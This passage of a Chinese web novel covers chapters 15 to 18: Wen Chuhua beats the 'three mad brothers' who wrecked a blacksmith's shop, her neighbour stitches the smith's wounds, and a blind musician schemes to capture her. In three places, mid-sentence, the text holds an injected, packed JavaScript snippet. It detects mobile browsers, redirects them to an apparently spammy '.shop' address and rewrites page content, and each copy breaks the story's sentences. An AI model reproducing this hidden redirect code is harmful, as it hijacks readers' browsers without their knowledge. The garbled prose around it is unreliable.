经过三楼的时候,她没有停。走到四楼拐角,她才发觉自己的脚步比平时轻了一些,好像在刻意不让某个人听到她回来了。 她在心里骂了自己一句,重重的脚步重新响起来,踩得楼梯咚咚响,像是在跟谁证明什么。 回到屋里,她关上门,靠着门板站了一会儿。然后她走到床边,弯腰从床底拖出那个小木箱,把黑匣子从外套暗袋里掏出来,放了进去。手指触到黑匣子表面的时候,那股温润的感觉又传了上来,像是什么东西在回应她的触碰。 她盖上箱子,推进床底,在裤腿上蹭了蹭手心的汗。 躺到床上,行军床吱呀一声惨叫。她把匕首压在枕头底下,闭上眼睛。 脑子里全是盲眼琴师说的那句话。 “你比我想的要年轻。” 她那时候没接话,但现在躺在黑暗里,她忽然想回一句——年轻又怎样?老了又怎样?在这个破地方,年轻和老了没有区别。都是一天一天地熬,一顿一顿地吃,一场一场地打。活着就是赢了,死了就是输了。没有什么至尊,没有什么预言,只有一个想活命的女人和一把藏在袖子里的小刀。 窗外的风大了,吹得窗户框框响。远处有狗叫,叫了几声又停了。楼下有人在吵架,声音很大,骂得很难听,听了一会儿也没声了。鬼街的夜晚就是这样,吵一阵,静一阵,像一台快报废的发动机,断断续续地转着。 温初花翻了个身,面朝墙壁。墙上有一道裂缝,从墙角一直延伸到天花板,形状像一条扭曲的蛇。 她在黑暗中睁着眼睛,过了很久,才慢慢闭上。 15. 疯子三兄弟 老周的铁匠铺出事了。 温初花是被小六的砸门声吵醒的。拳头砸在木板上,一下接一下,急得像擂鼓。她翻身坐起来,匕首已经握在手里,手腕一翻,刀尖从指缝间探出来。走廊里的灯还是坏的,月光从拐角那扇破窗户照进来,把小六的脸照得惨白。他满身是血,左边袖子被撕掉了一半,露出来的胳膊上有三道深可见骨的抓痕。 “老周出事了!”小六的声音破了,“疯子三兄弟砸了铺子!” 温初花没废话,一步跨出门,顺手带上门,一边走一边把外套拉链拉到顶,领口的别针咬住。小六在前面跑,跌跌撞撞的,她跟在后面,步子又稳又快。 “到底怎么回事?那三个疯子怎么突然找上老周?” 小六说:“是琴师!今天琴师叫了老周过去,不知道说了些什么,反正老周很生气,晚上这三个疯子就来了。” 温初花没想到这里面还有那个瞎子的参与,看来他最近很不安分啊,找上了这么多人。 鬼街的天要动荡起来了。 铁匠铺的门已经没了。整扇实木包铁皮的门被从门框上扯下来,躺在地上,铁皮撕开了一个大口子,木茬子翻在外面。门框歪了,上面的石棉瓦塌下来一半,碎瓦片散了一地。铁砧倒了,炉子被踢翻了,烧红的煤块滚了一地,把地上的油布烫出一个个焦黑的窟窿。 墙上挂着的工具散落一地,锤子、钳子、铁钎,乱七八糟地堆着。地上有血,从铁砧的位置一直拖到门口。 老周躺在门口内侧的墙根底下。他的左臂垂着,上臂有一道很深的伤口,能看到里面的肌肉纤维。脸上全是血,额头破了,鼻子也断了,整张脸肿得变了形。但他的眼睛是睁着的,看到温初花的时候,那双被血糊住的眼睛里亮了一下。 温初花蹲下来,掰开他的嘴看了一眼。舌头还在,牙齿断了一颗,嘴里全是血,呼吸还算平稳。 “老周,谁干的?” 老周的眼珠转了转,往门口的方向看了一眼。 三个人站在铁匠铺外面的空地上。 温初花站起来,转过身。 疯子三兄弟。 她没见过他们,但听说过。鬼街最臭名昭著的三个人。据说他们是在藤洲岛得罪了□□的高层,被追杀得走投无路,自己跑进鬼街来的。 进来之前就已经疯了——不是那种大喊大叫的疯,是那种眼睛里没有光、脑子里只剩下本能的疯。 他们三个是亲兄弟,据说以前是某个组织的打手,后来组织被灭了,他们就疯了。 老大最高,一米八几,光头,头顶上有好几道疤,像一条条蜈蚣趴在头皮上。他的眼睛很小,眼珠是灰色的,像两颗坏了的灯泡,看人的时候不带任何感情。他的右手上缠着铁链,铁链的一头绑着一块拳头大的铁疙瘩,拖在地上,在水泥地上划出一道道白痕。 老二比老大矮半个头,但更壮,肩膀宽得像一堵墙。他的武器是两个铁拳套,指节的位置焊了钢钉,每一颗都有小拇指那么长,在月光下闪着冷光。他的脸上有一道疤,从左眉梢一直拉到右嘴角,把整张脸劈成了上下两半,嘴唇翻着,露出里面参差不齐的牙齿。 老三最瘦,但最危险。他的眼睛是三个里唯一还有光的,但那种光不对,像一盏快灭的灯在最后时刻拼命地闪,亮得不正常。他的手里没有武器,但他的指甲很长,长到卷起来,指尖上全是干涸的血迹——温初花认出那是小六胳膊上的伤,也是老周身上的伤。他不用刀,他用手。他的指甲就是刀。 温初花把外套的拉链往下拉了半寸,让肩膀的活动范围更大一些。她把匕首在手腕内侧转了个方向,刀尖朝下,藏在小拇指那一侧。然后她迈出铁匠铺的门口,站在台阶上,居高临下地看着三个人。 “谁打的?”她说。 没有人回答。 老大抬起头看着她,那双灰色的眼珠转了转,像是在辨认眼前这个东西是什么。他的嘴唇动了一下,发出一声含混的声响,像是笑,又像是喉咙里卡了什么东西。然后他动了。 铁链在空中甩出一道弧线,铁疙瘩带着风声朝温初花的脑袋砸过来。速度很快,但轨迹很直。温初花没有退,她的头往左偏了半寸,铁疙瘩擦着她的右耳飞过去,砸在身后的门框上,碎木屑溅了她一脸。她的右手从下面翻上来,匕首弹出,刀尖划向老大的手腕。 老大收手很快,铁链哗啦一声缩回去,刀尖只划破了一层皮。但他收手的时候身体往右偏了一下,露出了左边的空档。温初花没有追,因为老二的拳头已经到了。 铁拳套带着钢钉的拳风从侧面砸过来,直取她的肋骨。这一拳如果打实了,她的肋骨至少要断三根,钢钉会扎进肺里,她会在几分钟内死于血气胸。温初花认识这种杀招,这不是街头打架的路数,这是正经八百的格斗术,在军队或者安保公司里才会教的那种。 她往后撤了半步,拳头擦着她的腹肌过去,钢钉划破了她的衣服,但没有伤到皮肉。她的右手在撤步的同时反手一撩,匕首从下往上,划向老二的肘内侧。老二的手臂往下沉,刀尖划在他的铁拳套上,擦出一串火星子。 老三从侧面扑上来了。 他的速度比她预想的快得多。十根长指甲从不同的方向抓过来,像十把短刀,封住了她所有的退路。温初花没有退,她往右拧腰,让他的左手抓空,同时抬起左臂硬接了他的右手。指甲划过她的小臂,疼痛像火烧一样,三道血痕从手腕一直拉到肘关节,血珠立刻冒了出来。 她的右手在他扑近的那一刻捅了出去。匕首没入了他的右下腹,不深,但足够让他停下来。 老三发出一声不像人的尖叫,往后弹开,捂着肚子蹲了下去。血从他的指缝间渗出来,但他没有倒下,他蹲在那里,那双发着不正常光的眼睛死死盯着温初花,像一头受伤的野兽在等待下一个扑击的机会。 温初花没有给他那个机会。她往前迈了一大步,右脚踩在他伸出来的左腿上,膝盖压住了他的大腿,右手反握着匕首,刀尖抵在他的颈侧。只要他再动一下,她就捅进去。 老三不动了。他的眼睛还是盯着她,但身体僵住了,像一台突然断电的机器。 老大和老二站在两步之外,看着老三被制住,没有动。他们的脸上没有愤怒,没有恐惧,甚至没有任何表情。疯子就是这样——他们不在乎同伴的死活,他们只在乎能不能完成脑子里那个模糊的指令。 温初花看着他们,她也明白了这一点。 威胁没有用。 她松开老三,站起来。老三立刻缩成一团,捂着肚子往后退,像一只被打怕了的狗,退到墙根底下,蜷在那里不动了。 老大又动了。铁链 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541562|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次甩过来,这次是横扫,铁疙瘩带着铁链画出一道弧线,覆盖了温初花身前的一大片区域。温初花往后跳了一步,铁链扫过她面前,铁疙瘩砸在铁砧上,发出一声震耳欲聋的巨响,铁砧在地上滚了两滚,压碎了几块砖。 老二跟上了。铁拳套从正面砸过来,左拳右拳左拳右拳,节奏很快,每一拳都带着钢钉,每一拳都奔着要害。温初花一边退一边挡,匕首在三拳之间穿插,划伤了老二的手背和手腕,但没有一击是致命的。这个人的骨头太硬了,肌肉太厚了,她的匕首太短了,捅不进去。 她不想杀他们。 不是因为她心软,是因为她觉得这三个人有用。 疯子三兄弟在鬼街横行多年,没人能治得了。 如果他们被制服了,而且是温初花制服的,整个鬼街都会知道这件事。老周的人会感激她,其他人会敬畏她,盲眼琴师会重新评估她的价值。在鬼街这种地方,名声就是资源,资源就是活下去的本钱。 所以她只伤不杀。 她改变策略了。 不再追求致命一击,而是消耗他们的体能。 这三个人虽然战斗本能极强,但没有战术,没有配合,全凭一股疯劲在打。疯劲会退,体力会耗,而她的体能比他们好。她在鬼街待了快四个月,每天不是在打架就是在练功,她的身体已经习惯了这种强度的对抗。 老大又冲上来了。这次他没甩铁链,而是直接扑过来,想用体重压住她。温初花没躲,她往前迎了半步,右手的匕首藏在腕后,左手的掌根推在他的下巴上,把他的头往后推了半寸,然后右膝顶进了他的裆部。 老大的身体像虾米一样弯了下去,铁链脱手,哗啦一声落在地上。温初花在他弯下去的瞬间,右手从上面劈下来,刀柄砸在他的太阳穴上。一下,他晃了晃。两下,他的眼睛翻白了。三下,他倒下去了,像一堵墙倒了,砸在地上的声音闷得吓人。 老二在后面,看着老大倒下,终于有了一丝犹豫。那一丝犹豫很短,不到一秒。但温初花等到了。 她冲上去,不给他重整旗鼓的机会。左拳虚晃,引他的右手来挡,右手的匕首从下面捅进他的大腿侧面——就是上次矮壮那个位置,□□的伤口是三角形的,合不拢,血从刀槽里往外涌。老二的腿软了一下,单膝跪倒。 温初花没有拔刀,她松开匕首,双手抱住他的脑袋,一个膝撞顶在他的面门上。他的鼻梁断了,血喷出来,溅在她的大腿上,温热的。他往后倒去,后脑勺磕在地上,身体抽搐了两下,不动了。 温初花退了两步,弯腰捡起地上的匕首,在老二的衣服上擦干净,收进袖子里。 她站在空地中央,大口大口地喘气。 身上多了好几道伤——小臂上的三道抓痕最深,血还在往外渗;左腰被钢钉划了一道,衣服破了,皮肉翻着,疼得她直咧嘴;右手的手背青了一块,不知道什么时候磕的。但都是皮外伤,不碍事。 老大躺在左边,晕着。老二躺在中间,满脸是血,但还在喘气。老三蜷在墙根底下,捂着肚子,那双发光的眼睛终于暗了下去,像一盏终于烧完了油的灯。 “回去告诉琴师,”她说,“老周的铺子,我罩了。再派人来,我把那三个脑袋送回去。” 老三没有回答。他的眼睛暗了下去,像一盏被人吹灭的灯。 16. 乐于助人的邻居 温初花把匕首收进袖子里,转身走回铁匠铺。 小六蹲在老周旁边,手忙脚乱地拿布条缠老周的伤口,缠得乱七八糟的,勒得太紧,老周疼得直抽气。 温初花蹲下来,把小六的手拨开,重新包扎。她在□□学过急救,手法比小六强得多。清洗、止血、包扎,几分钟就弄完了。 但老周的伤太重了。失血过多,脸色白得像纸,呼吸又浅又快。这种伤在鬼街基本等于等死——没有医院,没有医生,连像样的药都没有。烧烫伤、刀伤、骨折,全靠硬扛。扛得过去算你命大,扛不过去就找块席子卷了扔到巷子后面。 温初花想到了一个人。 她把老周的手臂架在自己肩膀上,对小六说:“帮把手,抬到我家楼下。” 小六愣了一下,没敢问为什么,赶紧搭手。两个人一人一边,架着老周往外走。老周的身体很重,走不快,从铁匠铺到温初花住的那栋楼,平时十分钟的路走了快半个小时。老周疼得直冒冷汗,但一声没吭。 到了楼下,温初花让小六在下面等着,自己架着老周上了三楼。她在那扇干干净净的门前停下来,腾出一只手,敲了三下。 门开了。苏游云站在门口,穿着那件浅灰色的薄毛衣,眼镜片后面的眼睛扫了一眼满身是血的老周,又看了一眼温初花小臂上那三道还在渗血的抓痕。 “进来。”他说,侧身让开。 温初花架着老周进了屋。苏游云的屋子还是那样,干净、空荡、不像人住的地方。他把桌上的东西清到一边,让温初花把老周放在椅子上。 他蹲下来,拆掉温初花包的布条,看了一眼老周的伤口。上臂那道口子又深又长,肌肉外翻,血虽然止住了,但周围已经肿了起来,皮肤发红发烫,再拖下去怕是要感染。 苏游云站起来,走到墙角的脸盆架旁,从挂钩上取下一条干净的毛巾,用温水浸湿,拧干。他回到老周身边,动作不紧不慢地把伤口周围的血迹擦干净。毛巾接触到伤口的时候,老周的身体绷了一下,但没出声。 “小六,”苏游云头也没抬,“去楼下药铺买一包三七粉,一卷纱布,一瓶酒精。” 小六愣了一下,转头看温初花。温初花点了下头,小六转身跑了出去,脚步声在楼梯上噼里啪啦地响。 苏游云从桌子的抽屉里拿出一根针和一截线。针是普通的缝衣针,线是黑色的丝线,他在酒精里泡了泡,然后用打火机烧了一下针尖。他的手指很稳,穿线、打结,一气呵成。 “按住他。”苏游云说。 温初花走到老周身后,双手按住他的肩膀。老周咬着牙,额头上青筋暴起。 苏游云开始缝合。 第一针扎下去的时候,老周的牙咬得咯吱响,身体剧烈地抖了一下,但没有叫出来。温初花感觉到他肩膀上的肌肉硬得像石头。苏游云的动作很快,下针、拉线、打结,每一针的距离都差不多,针脚整齐得像机器缝的。他的手不抖,呼吸不喘,眼睛盯着伤口,专注得像个在做手艺活的匠人。 不到十分钟,伤口缝好了。苏游云用浸了酒精的棉球把伤口周围的皮肤擦了一遍,然后从小六买回来的纸包里倒出三七粉,均匀地撒在缝好的伤口上,再用纱布一层一层地缠好,打了一个结。 老周的脸色还是很白,但呼吸稳了,靠在椅子上闭着眼睛,像是睡着了。 苏游云站起来,把针线收进抽屉,毛巾扔进脸盆。他看了一眼温初花小臂上那三道抓痕——血已经干了,结了一层黑红色的痂,但伤口边缘还在往外渗组织液,三道痕肿得像三条蚯蚓趴在皮肤上。 “手。”他说。 温初花把手伸过去。苏游云握住她的手腕,另一只手拿起浸了酒精的棉球,在抓痕上擦了一下。酒精刺激到伤口,温初花的手指抽了一下,但没缩回去。苏游云的动作没有停,把三道抓痕都擦干净了,然后倒了一点三七粉在伤口上,用纱布缠了两圈,不紧不松。 “这几天别沾水。”苏游云松开她的手,把剩下的三七粉和纱布推到她面前,“拿回去,明天自己换一次。” 温初花低头看了看自己小臂上包得整整齐齐的纱布。他的手艺不赖,收口的地方折了一个小角,塞进纱布的缝隙里,不会散开。 “你学过医?”她问。 “不算学。”苏游云把桌上的东西收拾干净,酒精瓶的盖子拧紧,三七粉的纸包折好,一一归位,“以前在藤洲的时候跟一个老中医学过一点。” 温初花靠在桌沿上,抱着胳膊看他。这人在撒谎——不是说他没学过中医,而是他刚才处理伤口的方式不像“学过一点”的水平。那种缝合手法,那种对伤口处理的从容,是经过大量实践才能练出来的。她在□□受过急救训练,她能看出来。 但她没拆穿。 “琴师派人砸了老周的铺子,”她说,“他想逼老周效忠他。” 苏游云把酒精瓶放回抽屉,动作没有任何停顿。 “疯子三兄弟是他的狗。我打了他的狗。” 苏游云关上抽屉,转过身来。“他会找你。” “我知道。” “你能应付吗?” 温初花看着他。他的眼睛还是那样,平静,没有什么表情。但她注意到他的瞳孔比平时大了一点,在昏暗的灯光下几乎占满了整个虹膜。她不知道这意味着什么,可能是光线太暗,可能是某种她不了解的生理反应。 “能。”她说。 苏游云没有再说什么。 小六从楼下跑上来了,手里拎着一袋药,气喘吁吁地站在门口。他看到老周的伤口已经处理好了,纱布包得整整齐齐,老周的脸色也比刚才好了不少,眼睛亮了一下,嘴唇哆嗦了两下,像是想说谢谢,但没说出来。 苏游云看了他一眼,伸手接过那袋药。纸包里是三七粉,纸包外面用草绳扎着,旁边还有一小瓶酒精和一卷纱布。他把纸包打开,用手指捏了一点三七粉放在鼻子下面闻了闻,又看了一眼颜色,点了点头。 “三七粉留着,明天换药的时候用,”苏游云把纸包重新扎好,递还给小六,“一次撒薄薄一层就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546288|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别撒太多。纱布两天换一次,伤口别沾水。” 小六双手接过去,像接圣旨一样小心翼翼地捧在怀里,嘴里连说了好几个“谢谢”,声音又轻又急,像是怕说慢了对方就不收了。 “把老周背回去,”温初花说,“让他好好躺着。这几天别开门做生意了。” 小六拼命点头,蹲下来把老周背起来。老周被这一折腾醒了过来,睁开浑浊的眼睛看了一眼苏游云,嘴唇动了动,发出一个含混的音。 “谢……” 苏游云没有接话。他走到门口,帮小六把门撑开,让小六背着老周侧身挤了出去。脚步声在楼梯上一步一步地往下沉,越来越远。 温初花站在苏游云的屋里,没走。 “老周欠你一个人情,”她说,“我也欠你一个。” 苏游云靠在门框上,两只手插在裤兜里。“你不欠我。” “我欠不欠不是你说了算的。”温初花说完这句话,觉得自己有点不讲理,但她不想收回来。她看着他,“你那个缝合的手法,跟谁学的?” 苏游云看着她,没回答。 “你在撒谎,”温初花说,“你不是‘学过一点’。你做过很多次。” 苏游云还是没有回答。他的目光落在她的脸上,平静得像一潭死水。既没有被拆穿的窘迫,也没有解释的欲望。 他就那么看着她,好像在说:对,我在撒谎,然后呢? 温初花等了几秒,知道等不到答案了。 她转身走了。走到楼梯拐角的时候,她听到身后传来门关上的声音,很轻,像一声叹息。 她回到楼下的时候,小六已经把老周恩顿好了。 铁匠铺那边来了不少人,都是靠老周吃饭的那些人。姓赵的带头,站在巷口等她。 “温姐,”姓赵的说,声音很沉,“老周的事,谢谢你。从今天起,我们这些人,你一句话的事。” 温初花靠在墙上,把袖子放下来,盖住小臂上的纱布。她看着这群人——十几个,有男有女,有老有少,都是在鬼街最底层讨生活的。 他们的眼神里有一种她没见过的东西,不是感激,不是崇拜,是那种溺水的人终于抓到了一根绳子的表情。 她本来想说不用的。她不想当什么“温姐”,不想管别人死活,不想背任何人的期望。但她看了一眼楼上老周躺着的那间屋子,又看了一眼小六胳膊上那些还没处理的抓痕,到嘴边的话咽了回去。 “行,”她说,“那我就不客气了。” 姓赵的点了点头,带着人散了。 温初花站在巷口,仰头看了一眼三楼那扇窗户。窗帘拉着,灯亮着,一个模糊的影子从窗玻璃上一闪而过。 她低头看了看自己小臂上的纱布。三七粉的味道淡淡的,混着纱布的棉布味。她把袖子放下来,挡住纱布,转身往自己住的那栋楼走去。 月光照在她的背上,把她的影子拉得很长很长,拖在身后,像一条黑色的披风。 她知道从今天开始,有些事情不一样了。 17. 琴师的计划 琴师坐在院子里的石凳上,手指搭在琴弦上,但没有弹。 竹叶在头顶沙沙作响,月光从叶缝间漏下来,在他灰白色的长衫上投下一小块一小块的光斑。他的眼睛闭着——一直闭着,二十年来都是这样。但他的耳朵张着,张得像两张看不见的网,把院子里每一个细微的声响都网了进去。 灰衣年轻人站在三步之外,微微低着头。 “铁匠铺那边,什么情况?”琴师开口。他的声音不大,但在安静的夜里听得很清楚,像石子投进深水里,沉下去,然后一圈一圈地荡开。 “老周没死,”灰衣年轻人说,“那女人把他救下来的。送到三楼那个男人家里治的伤。” 琴师的手指在琴弦上停了一下。 那个男人。三楼那个从来不跟人来往的住户。 他搬进鬼街的第一天琴师就知道了,派人查过,什么都没查到。 在鬼街查不到一个人的底细,这件事本身就值得注意。但琴师没有继续查,因为那个人一直很安静,不惹事,不交际,像一株种在盆里但从不浇水的植物,存在,但没有任何影响力。 现在这株植物开始有影响力了。 “疯子三兄弟呢?” “被那女人制服了,关在铁匠铺后面的空屋子里。没杀。” 琴师的嘴角微微动了一下,不是笑,是某种更微妙的肌肉运动。没杀。不是心软,是留着有用。这个叫温初花的女人比他想的要聪明,不只是能打,还知道怎么把战利品最大化。 “她花了多长时间?” 灰衣年轻人犹豫了一下。“不到十分钟。” 琴师没有再问了。他的右手落在琴弦上,拇指和中指捏住一根弦,轻轻拨了一下。琴声在院子里散开,穿过竹子,越过墙头,消失在外面那条窄巷子的黑暗中。 他原计划是拉拢她。 疯子三兄弟去砸老周的铺子,是为了逼老周向他低头。如果老周低头了,铁匠铺那一系的人就归他了。如果老周不低头,铺子被砸了,那一系的人没了饭碗,最后还是得来找他。 无论哪种结果,他都是赢家。 温初花出手打乱了这一切。她的介入让老周那一系的人看到了另一种可能——不需要向琴师低头,也有人在替他们出头。而且这个人不到十分钟就解决了他养了三年的疯狗。 从那一刻起,琴师就明白了一件事:这个女人收不拢。 不是因为他不舍得给条件,而是因为她身上有一种东西让他收不拢。 她不信任何人。 她来鬼街快四个月了,没有加入任何派系,没有向任何人低头,一个人活到现在。这种人不会因为几句漂亮话就替你卖命。 既然收不拢,那就得处理掉。 但琴师不能直接动手。鬼街虽然是个没有规矩的地方,但所有人都知道疯子三兄弟是他的人。如果他把温初花杀了,别人会怎么看他?一个六十多岁的瞎子,靠一群疯狗在鬼街站稳脚跟,现在狗被人打了,主人亲自下场?太难看。 所以他想到了另一个办法。 灰衣年轻人还站在原地等。 琴师端起石桌上的茶杯,喝了一口。茶已经凉了,苦味更重了。 “把传信器拿来。” 灰衣年轻人愣了一下,然后转身走进屋里。 传信器是琴师最珍贵的东西——从外面带进来的,鬼街的压制对它没用。拇指大的黑色圆片,可以记录声音,通过藤洲岛上空的某种特殊频率传递出去。鬼街虽然出不去,但消息可以。 传信器是他和外界的唯一联系。 灰衣年轻人从里屋的木箱底层翻出了传信器,双手捧着送到石桌上。琴师的手指在桌面上摸索了一下,触到了那个冰凉的黑色圆片,把它握在掌心里。他的拇指摸到侧面的凸起,按了下去。 传信器亮了一下,红光透过他的指缝漏出来,在石桌面上投下一小片红色的光晕。 “林先生,”琴师开口了,声音比平时低了一些,“鬼街这边有个人,或许对你有用。” 他说完这句,停了。 林生宸。新世界社的主宰者。藤洲岛三大势力之一的掌门人,手下八百号人,控制着岛东岸最大的港口和最繁华的商业街。 他不是异人中的最强者,但他是最有钱的那个。在藤洲这个弱肉强食的地方,钱买不到一切,但能买到很多东西——武器、情报、人心、甚至是某些小势力的效忠。 琴师和他打过几次交道。不是面对面,是通过传信器。 林生宸需要一个在鬼街的眼线,因为鬼街虽然是个鸟不拉屎的地方,但那里有一条缚灵粒子原始矿脉。那条矿脉是整个藤洲岛能量场的源头。谁控制了矿脉,谁就控制了藤洲岛的能源命脉。 至少林生宸是这么认为的。 琴师不知道那条矿脉到底能不能被控制,但他不在乎。他只需要林生宸相信他能控制。 “她叫温初花,三个月前进的鬼街。”琴师继续说,声音平稳得像在念一份报告,“□□的叛逃者,手里有□□机密库房的东西。□□一直在派人追杀她。” 他又停了一下。竹叶在风中响了一声,像一声叹息。 “她的能力很强。在鬼街不能使用异能的情况下,她不到十分钟就制服了我养了三年的人。” 琴师说到这里,嘴角微微上扬了一点。他故意说了“我养了三年的人”,没有说“疯子三兄弟”。用词的分寸他很清楚——要让林生宸觉得温初花有价值,但不能让林生宸觉得他自己的人太没用。 “如果你能派人进入鬼街保护我,”琴师说,“我可以把她控制在手里。等将来有机会离开鬼街,她可以为你所用。” 他松开传信器的凸起,红光灭了。 院子里重新安静下来。琴师把传信器放在石桌上,端起那杯凉透了的茶,又喝了一口。苦味从舌尖蔓延到舌根,他慢慢地咽了下去,感受着那股苦涩划过喉咙的感觉。 他等了一会儿。 传信器亮了一下,红光一闪一闪的。琴师摸到它,拇指按住了接收的凸起。 林生宸的声音从传信器里传出来,不大,但很清楚。那种声音一听就是常年发号施令的人——不急不慢,每一句话都像提前想好的,没有废话,没有犹豫。 “这个女人,我要活的。” 琴师的手指在传信器的外壳上轻轻敲了一下。 “可以。”他说。 “你需要什么?” 琴师没有立刻回答。他仰起头,闭着的眼睛对着头顶的月亮——虽然看不到,但他知道月亮在哪里。月亮在东边,偏南,离中天还有一段距离。他在这里坐了二十年,不需要眼睛也能知道天上的一切。 “五个人,”他说,“要能打的。鬼街不能用异能,所以我要的是体术高手。还要一箱武器,冷兵器,刀和匕首就行。外加每月的物资——食品、药品、日用品。” 传信器那头沉默了两秒。 “十天之内,人到。武器和物资随船走。”林生宸说,“到了藤州港口,会有人联系你取货。” “好。” “琴师,”林生宸的声音忽然沉了一度,“这个女人,如果她真像你说的那么强,你一个人吃得下吗?” 琴师笑了。不是那种开心的笑,是那种被人问到了一个早就想好了答案的问题时的笑。嘴角微微上扬,幅度不大,但足够让对面的人感受到他的从容。 “我不需要‘吃下’她,”琴师说,“我只需要让她在鬼街活不下去。当一个人发现全鬼街都在跟她作对的时候,她会来找我的。鬼街没有第二个可以投靠的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549681|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 传信器那头传来一声轻笑,像是认可,又像是不屑。“十天后见。” 红光灭了。 琴师把传信器放在石桌上,手指在它的表面慢慢地画着圈。冰凉的金属在他指尖的温度下慢慢变暖。 他靠在椅背上,闭着眼睛,脑子里在转。五个人,一箱武器,每月的物资。这是他跟林生宸谈判的筹码,但不是他真正的目的。他真正的目的是离开鬼街。 林生宸承诺过——“一旦能离开鬼街,就给他一个位置”。这句话琴师记了三年。他每帮林生宸做一件事,就在心里给这句话加一块砝码。等他做了足够多的事,那句话就从承诺变成了债。 他不信林生宸会主动还债。但没关系,他还有别的东西。那条矿脉。林生宸想要矿脉,而他是唯一一个在鬼街待了二十年、研究这条矿脉研究了二十年的人。只要林生宸还想要矿脉,他就得留着琴师,就得欠着琴师,就得在将来某个时候,把琴师从鬼街弄出去。 这就是他的筹码。 灰衣年轻人还站在旁边,一动不动。 “去打听一下,”琴师说,“那个女人最近跟谁走得近。那个三楼的男人,还有她楼上的那个老太太。我要知道他们每一个人的底细。” 灰衣年轻人点了下头,转身走了。他的脚步声很轻,轻到几乎听不见,但琴师的耳朵捕捉到了——从石板路走到泥土地,脚步声变了,然后翻过了矮墙,落在外面的巷子里,然后越来越远,最后被风吹散了。 琴师一个人坐在院子里,把手重新搭在琴弦上。 他开始弹了。不是刚才那种一个音的试探,是一首完整的曲子。曲调不快不慢,每一个音都清清楚楚,像水珠一颗一颗地落进深潭里。没有回音,没有涟漪,就是落进去,沉到底,然后什么都没有了。 二十年前他从藤洲来到鬼街的时候,是被人送进来的。那时候他还有眼睛,还能看到天是什么颜色、树是什么形状、人是什么表情。他得罪了不该得罪的人,被人废了双眼,扔进了鬼街。他以为自己会死在这里。但他没死。他活了下来,并且活得比谁都久。 二十年,他学会了一件事——在鬼街,活着不是靠拳头,是靠脑子。靠等。 等一个机会。 现在他等到了。 琴师的嘴角微微上扬,手指在琴弦上走了一个滑音,把整首曲子收在一个很低的尾音上。那个音在空气中久久不散,像一根看不见的线,一头系在他的指尖,另一头不知道系在了哪里。 风停了。 竹叶不动了。 院子里的月光暗了一度,像有一片云从头顶飘过,遮住了一部分光。 琴师把双手从琴弦上拿开,放在膝盖上。他的长衫下摆被风吹起来一角,又落了下去。 他在等。 等那五个人到。 等温初花来找他。 等那一天的到来——鬼街的门为他打开,他走出去,重新回到外面的世界。 到那时候,他就不只是一个在鬼街苟活了二十年的瞎子了。 他是林生宸的合伙人,是藤洲岛能源命脉的掌控者,是异人族群中一个不可忽视的名字。 琴师的嘴角微微上扬了一点,然后慢慢收了回去。 他站起来,摸索着拿起石桌上的传信器,攥在手心里。另一只手摸到拐杖,撑在地上,一步一步地走回屋里。脚步声在青石板上一下一下地响着,很慢,很稳,像节拍器。 他进屋的时候,灰衣年轻人从黑暗中走出来,扶了他一把。琴师摆了摆手,示意不用。 门在他身后关上了。 院子里的石桌上,只剩下一壶凉透了的茶和两只没有动过的杯子。月光照在杯沿上,在桌面投下两个小小的、圆圆的影子。 竹叶又响了。 18. 是特地来找我 温初花爬上屋顶的时候,月亮已经偏西了。 鬼街的夜晚总是闷得让人喘不过气,今天却难得有风。风从拱门那边吹过来,带着浓雾里那股湿冷的气息,把楼顶的油毡吹得微微鼓起来,又落下去,像一个人在一下一下地叹气。 她找了个位置坐下来,把腿伸直,后脑勺枕在胳膊上。小臂上的伤口已经不怎么疼了,苏游云的药膏很管用,三天就结了厚痂。老周的伤也在好转,小六每天来给她汇报情况,说老周已经能下地走动了,逢人就说温初花的好。姓赵的那群人现在见了她就喊“温姐”,喊得她浑身不自在。 她闭上眼睛,风从脸上吹过去,凉丝丝的。 “又睡不着?” 声音从身后传来,不大,但在这安静的楼顶上听得很清楚。她没有睁眼,也没有动。 “你不也是。” 脚步声从楼梯口那边过来,很轻,踩在油毡上几乎没有声音。苏游云走到她旁边,在离她几步远的地方坐了下来。她没有看他,但能感觉到他的目光从她身上扫过,然后移开了,落在远处的什么地方。 两个人就这么坐着。风一阵一阵地吹,远处有几声狗叫,叫了几声就停了。楼下不知道哪家在放收音机,声音开得很小,断断续续的,像是在放一首很老的歌,又像是在放天气预报。 